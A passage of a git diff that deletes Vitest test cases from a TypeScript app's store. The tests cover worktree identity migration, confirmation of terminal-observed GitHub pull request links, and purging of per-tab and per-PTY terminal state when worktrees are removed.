-        [OLD]: [{ startupCwd: '/ws/cunner/packages/app' }, { startupCwd: '/elsewhere/dir' }]
-      },
-      recentlyClosedTabKindsByWorktree: { [OLD]: ['terminal', 'editor'] },
-      remoteStatusesByWorktree: { [OLD]: { ahead: 1 } },
-      everActivatedWorktreeIds: new Set([OLD]),
-      openFiles: [{ id: 'f1', worktreeId: OLD }],
-      pendingReconnectWorktreeIds: [OLD],
-      sleepingAgentSessionsByPaneKey: {
-        'tab1:leaf': {
-          paneKey: 'tab1:leaf',
-          tabId: 'tab1',
-          worktreeId: OLD,
-          agent: 'codex',
-          providerSession: { key: 'session_id', id: 'session-1' },
-          prompt: 'Do work',
-          state: 'done',
-          capturedAt: 1,
-          updatedAt: 1
-        }
-      },
-      // Tab-id-keyed: must NOT be re-keyed (the tab keeps its id across rename).
-      terminalLayoutsByTabId: { tab1: { root: { type: 'leaf', leafId: '0' } } }
-    } as unknown as Partial<AppState>)
-    store.setState({ splitLandingGroupIds: { group1: OLD } })
-
-    store.getState().migrateWorktreeIdentity(OLD, NEW)
-    const s = store.getState()
-
-    expect(s.tabsByWorktree[OLD]).toBeUndefined()
-    expect(s.tabsByWorktree[NEW]).toEqual([{ id: 'tab1', worktreeId: NEW }])
-    expect(s.activeWorktreeId).toBe(NEW)
-    expect(s.activeWorkspaceKey).toBe(worktreeWorkspaceKey(NEW))
-    expect(s.renamingWorktreeId).toEqual({ worktreeId: NEW, rowKey: 'all:old' })
-    expect(s.activeTabIdByWorktree[NEW]).toBe('tab1')
-    expect(s.browserTabsByWorktree[NEW]?.[0]?.worktreeId).toBe(NEW)
-    expect(s.browserPagesByWorkspace.browser1?.[0]?.worktreeId).toBe(NEW)
-    expect(s.browserTabsByWorktree[NEW]?.[0]?.docLocation).toEqual({
-      kind: 'workspace-doc',
-      worktreeId: NEW,
-      filePath: '/ws/worktree-creation-spinner/docs/report.html'
-    })
-    expect(s.browserPagesByWorkspace.browser1?.[0]?.docLocation).toEqual({
-      kind: 'workspace-doc',
-      worktreeId: NEW,
-      filePath: '/ws/worktree-creation-spinner/docs/report.html'
-    })
-    expect(s.recentlyClosedBrowserTabsByWorktree[NEW]?.[0]?.workspace.worktreeId).toBe(NEW)
-    expect(s.recentlyClosedBrowserTabsByWorktree[NEW]?.[0]?.pages[0]?.worktreeId).toBe(NEW)
-    expect(s.recentlyClosedBrowserPagesByWorkspace.browser1?.[0]?.worktreeId).toBe(NEW)
-    expect(s.unifiedTabsByWorktree[NEW]?.[0]?.worktreeId).toBe(NEW)
-    expect(s.groupsByWorktree[NEW]?.[0]?.worktreeId).toBe(NEW)
-    expect(s.splitLandingGroupIds).toEqual({ group1: NEW })
-    expect(s.gitStatusByWorktree[NEW]).toEqual([{ path: 'a.ts' }])
-    expect(s.gitStatusHeadByWorktree[NEW]).toBe('head-old')
-    expect(s.gitBranchLineTotalByWorktree[OLD]).toBeUndefined()
-    expect(s.gitBranchLineTotalByWorktree[NEW]).toEqual({
-      added: 24,
-      removed: 3,
-      mergeBase: 'base-old'
-    })
-    expect(s.gitBranchCompareRequestStatusHeadByWorktree[NEW]).toBe('head-old')
-    expect(s.rightSidebarExplorerViewByWorktree[OLD]).toBeUndefined()
-    expect(s.rightSidebarExplorerViewByWorktree[NEW]).toBe('search')
-    expect(s.fileSearchStateByWorktree[OLD]).toBeUndefined()
-    expect(s.fileSearchStateByWorktree[NEW]?.resultOwner).toEqual({
-      worktreeId: NEW,
-      runtimeEnvironmentId: 'runtime-a'
-    })
-    expect(s.lastVisitedAtByWorktreeId[NEW]).toBe(123)
-    expect(s.defaultTerminalTabsAppliedByWorktreeId[NEW]).toBe(true)
-    // The two maps absent from the purge list are still re-keyed.
-    expect(s.recentlyClosedEditorTabsByWorktree[NEW]).toEqual([{ id: 'f1', worktreeId: NEW }])
-    // Terminal reopen snapshots re-key and remap startupCwd under the old path; outside paths stay as-is.
-    expect(s.recentlyClosedTerminalTabsByWorktree[OLD]).toBeUndefined()
-    expect(s.recentlyClosedTerminalTabsByWorktree[NEW]).toEqual([
-      { startupCwd: '/ws/worktree-creation-spinner/packages/app' },
-      { startupCwd: '/elsewhere/dir' }
-    ])
-    expect(s.recentlyClosedTabKindsByWorktree[OLD]).toBeUndefined()
-    expect(s.recentlyClosedTabKindsByWorktree[NEW]).toEqual(['terminal', 'editor'])
-    expect(s.remoteStatusesByWorktree[NEW]).toEqual({ ahead: 1 })
-    expect(s.everActivatedWorktreeIds.has(NEW)).toBe(true)
-    expect(s.everActivatedWorktreeIds.has(OLD)).toBe(false)
-    expect(s.openFiles[0].worktreeId).toBe(NEW)
-    expect(s.pendingReconnectWorktreeIds).toEqual([NEW])
-    expect(s.sleepingAgentSessionsByPaneKey['tab1:leaf']?.worktreeId).toBe(NEW)
-    // Tab-id-keyed state is untouched — the tab survives with the same id.
-    expect(s.terminalLayoutsByTabId.tab1).toBeDefined()
-  })
-
   it('sanitizes lagging old-id worktree refresh rows after hosted review bookkeeping migrates', async () => {
     const store = createTestStore()
     const oldWorktree = makeWorktree({
diff --git a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-exact-observation.test.ts b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-exact-observation.test.ts
index da9c22c0ab2..74e0d5066fb 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-exact-observation.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-exact-observation.test.ts
@@ -86,43 +86,6 @@ it('confirms a second PR by exact source and head when branch discovery would re
   )
 })
 
-it.each([
-  { type: 'issue' as const },
-  { number: 99 },
-  { url: 'https://github.com/foreign/repo/pull/42' },
-  { branchName: 'unrelated' },
-  { headSha: 'other-head' }
-])(
-  'rejects contradictory exact evidence without using an implicit fallback: %j',
-  async (change) => {
-    const { store, workspace, branchLookup } = setup()
-    exactLookup.mockResolvedValue({ ...secondary, ...change })
-    store.getState().observeTerminalGitHubPullRequestLink(workspace.id, link)
-    await flush()
-    expect(getWorkspaceAttachments(store.getState().worktreesByRepo.repo[0])).toEqual([])
-    expect(branchLookup).not.toHaveBeenCalled()
-  }
-)
-
-it('confirms a review against its saved push branch', async () => {
-  const { store, workspace, branchLookup } = setup()
-  const pending = Promise.withResolvers<GitHubWorkItem | null>()
-  exactLookup.mockReturnValue(pending.promise)
-  const saved = {
-    ...workspace,
-    branch: 'refs/heads/local-copy',
-    pushTarget: { remoteName: 'origin', branchName: 'feature' }
-  }
-  store.setState({ worktreesByRepo: { repo: [saved] } })
-  store.getState().observeTerminalGitHubPullRequestLink(workspace.id, link)
-  pending.resolve(secondary)
-  await flush()
-  expect(
-    getWorkspaceAttachments(store.getState().worktreesByRepo.repo[0]).map((item) => item.number)
-  ).toEqual([42])
-  expect(branchLookup).not.toHaveBeenCalled()
-})
-
 it('rejects delayed review after its saved push branch changes', async () => {
   const { store, workspace, branchLookup } = setup()
   const pending = Promise.withResolvers<GitHubWorkItem | null>()
diff --git a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-url-linking.test.ts b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-url-linking.test.ts
index 07de1ff300f..050883c6bf5 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-url-linking.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-pr-url-linking.test.ts
@@ -61,51 +61,6 @@ describe('worktree remote runtime mutations', () => {
     })
   })
 
-  it('rechecks GitHub PR suppression after branch confirmation resolves', async () => {
-    const store = createTestStore()
-    let resolveLookup: (value: HostedReviewInfo | null) => void = () => {}
-    installReviewRead().mockImplementation(
-      () =>
-        new Promise<HostedReviewInfo | null>((resolve) => {
-          resolveLookup = resolve
-        })
-    )
-    const wt = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/worktrees/orca',
-      branch: 'refs/heads/feature/pr-link',
-      linkedPR: null,
-      pushTarget: {
-        remoteName: 'origin',
-        branchName: 'feature/pr-link'
-      }
-    })
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repos/orca', displayName: 'orca', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] }
-    })
-
-    store.getState().observeTerminalGitHubPullRequestLink(wt.id, {
-      url: 'https://github.com/acme/orca/pull/42',
-      slug: { owner: 'acme', repo: 'orca' },
-      number: 42
-    })
-    await vi.dynamicImportSettled()
-    store.setState({
-      worktreesByRepo: {
-        repo1: [{ ...wt, linkedPR: null, suppressedGitHubPR: 42 }]
-      }
-    })
-
-    resolveLookup(confirmedReview(42))
-    await vi.dynamicImportSettled()
-
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-  })
-
   it('preserves a manual primary while appending a PR confirmed after the selection changes', async () => {
     const store = createTestStore()
     let resolveLookup: (value: HostedReviewInfo | null) => void = () => {}
@@ -153,108 +108,4 @@ describe('worktree remote runtime mutations', () => {
     ).toEqual([7, 42])
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalled()
   })
-
-  it('appends a confirmed PR without overwriting a primary changed during push target lookup', async () => {
-    const store = createTestStore()
-    installReviewRead().mockResolvedValue(confirmedReview(42))
-    let resolvePushTarget: (value: {
-      baseBranch: string
-      pushTarget: { remoteName: string; branchName: string }
-    }) => void = () => {}
-    mockApi.worktrees.resolvePrBase.mockImplementationOnce(
-      () =>
-        new Promise<{
-          baseBranch: string
-          pushTarget: { remoteName: string; branchName: string }
-        }>((resolve) => {
-          resolvePushTarget = resolve
-        })
-    )
-    const wt = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/worktrees/orca',
-      branch: 'refs/heads/feature/pr-link'
-    })
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repos/orca', displayName: 'orca', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] }
-    })
-
-    store.getState().observeTerminalGitHubPullRequestLink(wt.id, {
-      url: 'https://github.com/acme/orca/pull/42',
-      slug: { owner: 'acme', repo: 'orca' },
-      number: 42
-    })
-
-    await vi.dynamicImportSettled()
-
-    expect(mockApi.worktrees.resolvePrBase).toHaveBeenCalledWith({
-      repoId: 'repo1',
-      prNumber: 42
-    })
-
-    store.setState({
-      worktreesByRepo: { repo1: [{ ...wt, linkedPR: 7 }] }
-    })
-
-    resolvePushTarget({
-      baseBranch: 'main',
-      pushTarget: { remoteName: 'origin', branchName: 'feature/pr-link' }
-    })
-    await vi.dynamicImportSettled()
-
-    expect(store.getState().worktreesByRepo.repo1[0]?.linkedPR).toBe(7)
-    expect(
-      getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0]).map((item) => item.number)
-    ).toEqual([7, 42])
-    expect(mockApi.worktrees.updateMeta).toHaveBeenCalled()
-  })
-
-  it('rejects a same-number branch result for a different repository URL', async () => {
-    const store = createTestStore()
-    const readHostedReview = installReviewRead().mockResolvedValue(confirmedReview(42))
-    const wt = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/worktrees/orca',
-      branch: 'refs/heads/feature/pr-link'
-    })
-    mockApi.worktrees.resolvePrBase.mockResolvedValueOnce({ baseBranch: 'main' })
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repos/orca', displayName: 'orca', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] }
-    })
-
-    store.getState().observeTerminalGitHubPullRequestLink(wt.id, {
-      url: 'https://github.com/acme/docs/pull/42',
-      slug: { owner: 'acme', repo: 'docs' },
-      number: 42
-    })
-
-    expect(store.getState().worktreesByRepo.repo1[0]?.linkedPR).toBeNull()
-    await vi.waitFor(() => expect(readHostedReview).toHaveBeenCalled())
-    expect(readHostedReview).toHaveBeenCalledWith({
-      repoPath: '/repos/orca',
-      branch: 'feature/pr-link',
-      force: true,
-      repoId: 'repo1',
-      active: true,
-      repoOwnerExecutionHostId: 'local',
-      currentHeadOid: wt.head,
-      linkedGitHubPR: null,
-      linkedGitLabMR: null,
-      linkedBitbucketPR: null,
-      linkedAzureDevOpsPR: null,
-      linkedGiteaPR: null
-    })
-
-    await vi.dynamicImportSettled()
-
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-admission.test.ts b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-admission.test.ts
index ed6c9b859fa..7d2898677db 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-admission.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-admission.test.ts
@@ -110,28 +110,6 @@ beforeEach(() => {
   resetWorktreeSliceModuleMemory()
 })
 
-it('preserves distinct live confirmations on one branch without replacing the manual primary', async () => {
-  const { store, pending, observeBurst, branchLookup } = setup()
-  observeBurst()
-  await flush()
-  let completed = 0
-  while (completed < 4) {
-    const batch = [...pending]
-    pending.clear()
-    for (const [number, deferred] of batch) {
-      deferred.resolve(review(number))
-    }
-    completed += batch.length
-    await flush()
-  }
-  expect(branchLookup).not.toHaveBeenCalled()
-  const items = getWorkspaceAttachments(store.getState().worktreesByRepo.repo[0])
-  expect(items.map((item) => item.number).sort((a, b) => (a ?? 0) - (b ?? 0))).toEqual([
-    7, 100, 101, 102, 103
-  ])
-  expect(store.getState().worktreesByRepo.repo[0].linkedPR).toBe(7)
-})
-
 it('drops stale queued starts and fallback reads after the pane closes', async () => {
   const { store, pending, observeBurst, closePane, branchLookup } = setup()
   observeBurst()
diff --git a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-origins.test.ts b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-origins.test.ts
index 3ac82a2f238..1e9379ff578 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-origins.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktrees-terminal-reference-origins.test.ts
@@ -133,121 +133,6 @@ describe('terminal reference evidence', () => {
     ])
   })
 
-  it('confirms a secondary review without publishing it into the primary branch cache', async () => {
-    const { store } = setup()
-    const workspace = store.getState().worktreesByRepo.repo1[0]
-    const fetchHostedReviewForBranch = vi.fn()
-    const primary: HostedReviewInfo = {
-      provider: 'github',
-      number: 7,
-      title: 'Primary',
-      state: 'open',
-      url: 'https://github.com/acme/orca/pull/7',
-      status: 'failure',
-      mergeable: 'MERGEABLE',
-      updatedAt: '2026-01-01'
-    }
-    const hostedReviewCache = {
-      'local::repo1::feature': { data: primary, fetchedAt: Date.now() }
-    }
-    store.setState({
-      fetchHostedReviewForBranch,
-      hostedReviewCache,
-      worktreesByRepo: {
-        repo1: [
-          {
-            ...workspace,
-            linkedGitLabMR: null,
-            linkedBitbucketPR: null,
-            linkedAzureDevOpsPR: null,
-            linkedGiteaPR: null,
-            linkedItems: [
-              ...getWorkspaceAttachments(workspace),
-              {
-                provider: 'github',
-                type: 'pr',
-                number: 42
-              }
-            ]
-          }
-        ]
-      }
-    })
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, context('tab-1'))
-    await flush()
-    expect(fetchHostedReviewForBranch).not.toHaveBeenCalled()
-    expect(store.getState().hostedReviewCache).toBe(hostedReviewCache)
-    expect(
-      getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0])[1].origins?.[0].tabId
-    ).toBe('tab-1')
-  })
-  it('confirms on the terminal owner when another host has the same repository ID', async () => {
-    const { store } = setup()
-    const repo = store.getState().repos[0]
-    const readHostedReview = installReviewRead().mockResolvedValue({
-      provider: 'github',
-      number: 42,
-      title: 'Confirmed',
-      state: 'open',
-      url,
-      status: 'success',
-      mergeable: 'MERGEABLE',
-      updatedAt: '2026-01-01'
-    })
-    store.setState({
-      repos: [{ ...repo, executionHostId: 'runtime:other' }, repo]
-    })
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, context('tab-1'))
-    await flush()
-    expect(readHostedReview).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoPath: repo.path,
-        repoId: repo.id,
-        repoOwnerExecutionHostId: 'local'
-      })
-    )
-    expect(getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0])[1].origins).toEqual([
-      expect.objectContaining({ hostId: 'local', tabId: 'tab-1' })
-    ])
-  })
-  it('rejects a different provider returned by owner-scoped branch confirmation', async () => {
-    const { store } = setup()
-    installReviewRead().mockResolvedValue({
-      provider: 'gitlab',
-      number: 42,
-      title: 'Other provider',
-      state: 'open',
-      url,
-      status: 'success',
-      mergeable: 'MERGEABLE',
-      updatedAt: '2026-01-01'
-    })
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, context('tab-1'))
-    await flush()
-    expect(getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0])).toHaveLength(1)
-  })
-  it('records two terminals for one PR and keeps repeated evidence deduplicated', async () => {
-    const { store, readHostedReview } = setup()
-    for (const tabId of ['tab-1', 'tab-2', 'tab-2']) {
-      store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, context(tabId))
-      await flush()
-    }
-    expect(
-      getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0])[1].origins?.map(
-        (origin) => origin.tabId
-      )
-    ).toEqual(['tab-1', 'tab-2'])
-    expect(readHostedReview.mock.calls.filter(([args]) => args.active === true)).toHaveLength(1)
-  })
-  it('ignores a stale PTY even when its caller supplies an execution host', async () => {
-    const { store, readHostedReview } = setup()
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, {
-      ...context('tab-1'),
-      ptyId: 'old-pty'
-    })
-    await flush()
-    expect(readHostedReview).not.toHaveBeenCalled()
-  })
   it('does not attribute a delayed confirmation after the pane is rebound', async () => {
     const { store, readHostedReview } = setup()
     let complete: (value: Awaited<ReturnType<typeof readHostedReview>>) => void = () => {}
@@ -275,38 +160,4 @@ describe('terminal reference evidence', () => {
     await flush()
     expect(getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0])).toHaveLength(1)
   })
-  it('keeps a pending observation when only the terminal label changes', async () => {
-    const { store, readHostedReview } = setup()
-    const confirmed = await readHostedReview({ repoPath: '/repo', branch: 'branch' })
-    let complete: (value: typeof confirmed) => void = () => {}
-    readHostedReview.mockImplementationOnce(
-      () =>
-        new Promise((resolve) => {
-          complete = resolve
-        })
-    )
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, context('tab-1'))
-    await flush()
-    store.setState({
-      tabsByWorktree: {
-        [worktreeId]: store
-          .getState()
-          .tabsByWorktree[worktreeId].map((tab) => ({ ...tab, customTitle: 'Renamed' }))
-      }
-    })
-    complete(confirmed)
-    await flush()
-    expect(
-      getWorkspaceAttachments(store.getState().worktreesByRepo.repo1[0]).map((item) => item.number)
-    ).toEqual([7, 42])
-  })
-  it('rejects an explicit host that disagrees with the PTY owner', async () => {
-    const { store, readHostedReview } = setup()
-    store.getState().observeTerminalGitHubPullRequestLink(worktreeId, link, {
-      ...context('tab-1'),
-      executionHostId: 'ssh:other'
-    })
-    await flush()
-    expect(readHostedReview).not.toHaveBeenCalled()
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/teardown/ambiguous-owner-warning-worktree-removal-leak.test.ts b/src/renderer/src/store/slices/worktrees/teardown/ambiguous-owner-warning-worktree-removal-leak.test.ts
deleted file mode 100644
index d8f03948ee5..00000000000
--- a/src/renderer/src/store/slices/worktrees/teardown/ambiguous-owner-warning-worktree-removal-leak.test.ts
+++ /dev/null
@@ -1,96 +0,0 @@
-/** Purge module-level ambiguous-owner warning keys on both removal paths. Otherwise IDs leak forever and recreated workspaces cannot report newly ambiguous ownership. */
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
-  unregisterPtyDataHandlers: vi.fn()
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-const mockApi = {
-  worktrees: {
-    remove: vi.fn().mockResolvedValue(undefined),
-    forceDeletePreservedBranch: vi.fn().mockResolvedValue({ deleted: true }),
-    updateMeta: vi.fn().mockResolvedValue({})
-  },
-  pty: { kill: vi.fn().mockResolvedValue(undefined) },
-  runtimeEnvironments: { call: vi.fn().mockResolvedValue({ ok: true, result: {} }) }
-}
-
-// @ts-expect-error -- minimal window.api stub for the store under test
-globalThis.window = { api: mockApi }
-
-import {
-  ambiguousOwnerWarnedWorktreeIds,
-  warnAmbiguousOwnerOnce
-} from '@/lib/ambiguous-owner-warning'
-import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-
-const WT1 = 'repo1::/path/wt1'
-const WT2 = 'repo1::/path/wt2'
-
-function seedWorktrees(store: ReturnType<typeof createTestStore>): void {
-  seedStore(store, {
-    worktreesByRepo: {
-      repo1: [
-        makeWorktree({ id: WT1, repoId: 'repo1', path: '/path/wt1' }),
-        makeWorktree({ id: WT2, repoId: 'repo1', path: '/path/wt2' })
-      ]
-    }
-  })
-}
-
-describe('ambiguous-owner warning set is pruned on worktree removal', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    ambiguousOwnerWarnedWorktreeIds.clear()
-    mockApi.worktrees.remove.mockResolvedValue(undefined)
-  })
-
-  it('re-arms the once-per-workspace warning after remove and re-add', async () => {
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    const store = createTestStore()
-    seedWorktrees(store)
-
-    warnAmbiguousOwnerOnce(WT1, 'persist worktree activity timestamp')
-    warnAmbiguousOwnerOnce(WT1, 'persist worktree activity timestamp')
-    expect(warn).toHaveBeenCalledTimes(1)
-
-    await store.getState().removeWorktree({ id: WT1, executionHostId: null })
-    seedWorktrees(store)
-
-    warnAmbiguousOwnerOnce(WT1, 'persist worktree activity timestamp')
-
-    expect(warn).toHaveBeenCalledTimes(2)
-    warn.mockRestore()
-  })
-
-  it('re-arms only the purged workspace warning', () => {
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    const store = createTestStore()
-    seedWorktrees(store)
-    warnAmbiguousOwnerOnce(WT1, 'persist worktree activity timestamp')
-    warnAmbiguousOwnerOnce(WT2, 'persist worktree activity timestamp')
-
-    store.getState().purgeWorktreeTerminalState([WT1])
-
-    warn.mockClear()
-    warnAmbiguousOwnerOnce(WT2, 'persist worktree activity timestamp')
-    expect(warn).not.toHaveBeenCalled()
-    warnAmbiguousOwnerOnce(WT1, 'persist worktree activity timestamp')
-    expect(warn).toHaveBeenCalled()
-    warn.mockRestore()
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/bulk-worktree-purge-terminal-maps-leak.test.ts b/src/renderer/src/store/slices/worktrees/teardown/bulk-worktree-purge-terminal-maps-leak.test.ts
deleted file mode 100644
index 354cf68eff7..00000000000
--- a/src/renderer/src/store/slices/worktrees/teardown/bulk-worktree-purge-terminal-maps-leak.test.ts
+++ /dev/null
@@ -1,178 +0,0 @@
-/** Bulk purge runs no terminal teardown; evict tab maps and PTY maps from live/durable bindings like single removal. External scans/project removal/hydration otherwise leak ephemeral terminal/agent keys for renderer lifetime. */
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type * as RemoteRuntimePtyIdModule from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
-  unregisterPtyDataHandlers: vi.fn()
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-vi.mock('../../../../../../shared/remote-runtime/remote-runtime-pty-id', async (importOriginal) => {
-  const actual = await importOriginal<typeof RemoteRuntimePtyIdModule>()
-  return { ...actual, parseRemoteRuntimePtyId: vi.fn(actual.parseRemoteRuntimePtyId) }
-})
-
-const mockApi = {
-  worktrees: { remove: vi.fn().mockResolvedValue(undefined) },
-  pty: { kill: vi.fn().mockResolvedValue(undefined) }
-}
-
-// @ts-expect-error -- minimal window.api stub for the store under test
-globalThis.window = { api: mockApi }
-
-import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-
-const WT1 = 'repo1::/path/wt1'
-const WT2 = 'repo1::/path/wt2'
-const TAB1 = 'tab-wt1'
-const TAB2 = 'tab-wt2'
-const PTY1 = 'pty-wt1'
-const PTY1_SPLIT = 'pty-wt1-split'
-const REMOTE_PTY1 = 'remote:env-1@@terminal-wt1'
-const REMOTE_HANDLE1 = 'terminal-wt1'
-const REMOTE_PTY2_SAME_HANDLE = 'remote:env-2@@terminal-wt1'
-const PTY2 = 'pty-wt2'
-
-function seedMaps(store: ReturnType<typeof createTestStore>): void {
-  seedStore(store, {
-    worktreesByRepo: {
-      repo1: [
-        makeWorktree({ id: WT1, repoId: 'repo1', path: '/path/wt1' }),
-        makeWorktree({ id: WT2, repoId: 'repo1', path: '/path/wt2' })
-      ]
-    },
-    tabsByWorktree: {
-      [WT1]: [makeTab({ id: TAB1, worktreeId: WT1, ptyId: PTY1 })],
-      [WT2]: [makeTab({ id: TAB2, worktreeId: WT2, ptyId: PTY2 })]
-    },
-    // Slept/stale tabs lack live PTY index entries; recover owned IDs from durable wake bindings.
-    ptyIdsByTabId: { [TAB1]: [], [TAB2]: [PTY2] },
-    terminalLayoutsByTabId: {
-      [TAB1]: {
-        root: {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', leafId: 'leaf-1' },
-          second: { type: 'leaf', leafId: 'leaf-2' }
-        },
-        activeLeafId: 'leaf-1',
-        expandedLeafId: null,
-        ptyIdsByLeafId: { 'leaf-1': PTY1_SPLIT, 'leaf-2': REMOTE_PTY1 }
-      }
-    },
-    lastKnownRelayPtyIdByTabId: { [TAB1]: PTY1, [TAB2]: PTY2 },
-    pendingReconnectPtyIdByTabId: { [TAB1]: PTY1, [TAB2]: PTY2 },
-    deferredSshSessionIdsByTabId: { [TAB1]: 'ssh-sess-1', [TAB2]: 'ssh-sess-2' },
-    pendingInitialCwdByTabId: { [TAB1]: '/path/wt1', [TAB2]: '/path/wt2' },
-    pendingIssueCommandSplitByTabId: {
-      [TAB1]: { command: 'a' },
-      [TAB2]: { command: 'b' }
-    },
-    pendingStartupByTabId: { [TAB1]: { command: 'start-a' }, [TAB2]: { command: 'start-b' } },
-    codexRestartNoticeByPtyId: {
-      [PTY1]: { previousAccountLabel: 'a1', nextAccountLabel: 'a2' },
-      [PTY2]: { previousAccountLabel: 'b1', nextAccountLabel: 'b2' }
-    },
-    migrationUnsupportedByPtyId: {
-      [PTY1]: {
-        ptyId: PTY1,
-        paneKey: `${TAB1}:leaf-1`,
-        reason: 'legacy-numeric-pane-key',
-        source: 'local',
-        updatedAt: 1
-      },
-      [PTY2]: {
-        ptyId: PTY2,
-        paneKey: `${TAB2}:leaf-1`,
-        reason: 'legacy-numeric-pane-key',
-        source: 'local',
-        updatedAt: 2
-      }
-    },
-    suppressedPtyExitIds: {
-      [PTY1]: true,
-      [PTY1_SPLIT]: true,
-      [REMOTE_PTY1]: true,
-      [PTY2]: true
-    },
-    pendingPaneAccountRestarts: {
-      [PTY1]: 'codex',
-      [PTY1_SPLIT]: 'codex',
-      [REMOTE_PTY1]: 'codex',
-      [PTY2]: 'codex'
-    }
-  })
-}
-
-describe('bulk worktree purge evicts the per-tab/per-pty terminal maps it previously leaked', () => {
-  beforeEach(() => vi.clearAllMocks())
-
-  it('keeps environment-scoped remote guard identities independent', () => {
-    const store = createTestStore()
-    seedMaps(store)
-    store.setState((s) => ({
-      ptyIdsByTabId: {
-        ...s.ptyIdsByTabId,
-        [TAB2]: [...s.ptyIdsByTabId[TAB2], REMOTE_PTY2_SAME_HANDLE]
-      },
-      suppressedPtyExitIds: {
-        ...s.suppressedPtyExitIds,
-        [REMOTE_PTY2_SAME_HANDLE]: true
-      },
-      pendingPaneAccountRestarts: {
-        ...s.pendingPaneAccountRestarts,
-        [REMOTE_PTY2_SAME_HANDLE]: 'codex'
-      }
-    }))
-
-    store.getState().purgeWorktreeTerminalState([WT1])
-    const s = store.getState()
-
-    expect(s.suppressedPtyExitIds[REMOTE_PTY1]).toBeUndefined()
-    expect(s.pendingPaneAccountRestarts[REMOTE_PTY1]).toBeUndefined()
-    expect(s.suppressedPtyExitIds[REMOTE_PTY2_SAME_HANDLE]).toBe(true)
-    expect(s.pendingPaneAccountRestarts[REMOTE_PTY2_SAME_HANDLE]).toBe('codex')
-  })
-
-  it('retains a raw remote handle that is also a surviving local PTY id', () => {
